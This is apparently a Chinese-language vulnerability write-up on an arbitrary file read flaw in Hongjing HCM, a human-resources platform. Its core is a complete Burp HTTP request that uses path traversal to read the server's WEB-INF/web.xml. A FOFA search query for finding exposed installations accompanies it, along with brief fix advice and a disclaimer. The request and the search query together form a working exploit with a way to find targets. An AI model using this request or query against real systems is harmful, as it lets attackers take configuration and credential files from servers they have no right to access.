目錄

一.概述

二 .漏洞影響

三.漏洞復現

1. 漏洞一：

四.修復建議：

五. 搜索語法：

六.免責聲明

---

一.概述

宏景HCM 將人才標簽技術應用于員工招聘、人才選拔等環節，通過多維度的標簽體系，形成不同專業序列的人才畫像，幫助HR快速篩選合適的優秀人才。

二 .漏洞影響

????????通過提交專門設計的輸入，攻擊者就可以在被訪問的文件系統中讀取或寫入任意內容，往往能夠使攻擊者從服務器上獲取敏感信息文件，正常讀取的文件沒有經過校驗或者不嚴格，用戶可以控制這個變量讀取任意文件。

三.漏洞復現

1. 漏洞一：

（1）漏洞類型：? 任意文件讀取

（2）請求類型：POST

（3）復現

找到相關系統

---

請求漏洞點，查看yakit響應

---

burp請求包

POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40filename=../webapps/ROOT/WEB-INF/web.xml

四.修復建議：

對用戶傳過來的文件名參數進行硬編碼或統一編碼，對文件類型進行白名單控制，對包含惡意字符或者空字符的參數進行拒絕。不提供目錄遍歷服務等。

五. 搜索語法：

1.fofa

body="/general/sys/hjaxmanage.js"

六.免責聲明

本文所涉及的任何技術、信息或工具，僅供學習和參考之用。請勿利用本文提供的信息從事任何違法活動或不當行為。任何因使用本文所提供的信息或工具而導致的損失、后果或不良影響，均由使用者個人承擔責任，與本文作者無關。作者不對任何因使用本文信息或工具而產生的損失或后果承擔任何責任。使用本文所提供的信息或工具即視為同意本免責聲明，并承諾遵守相關法律法規和道德規范。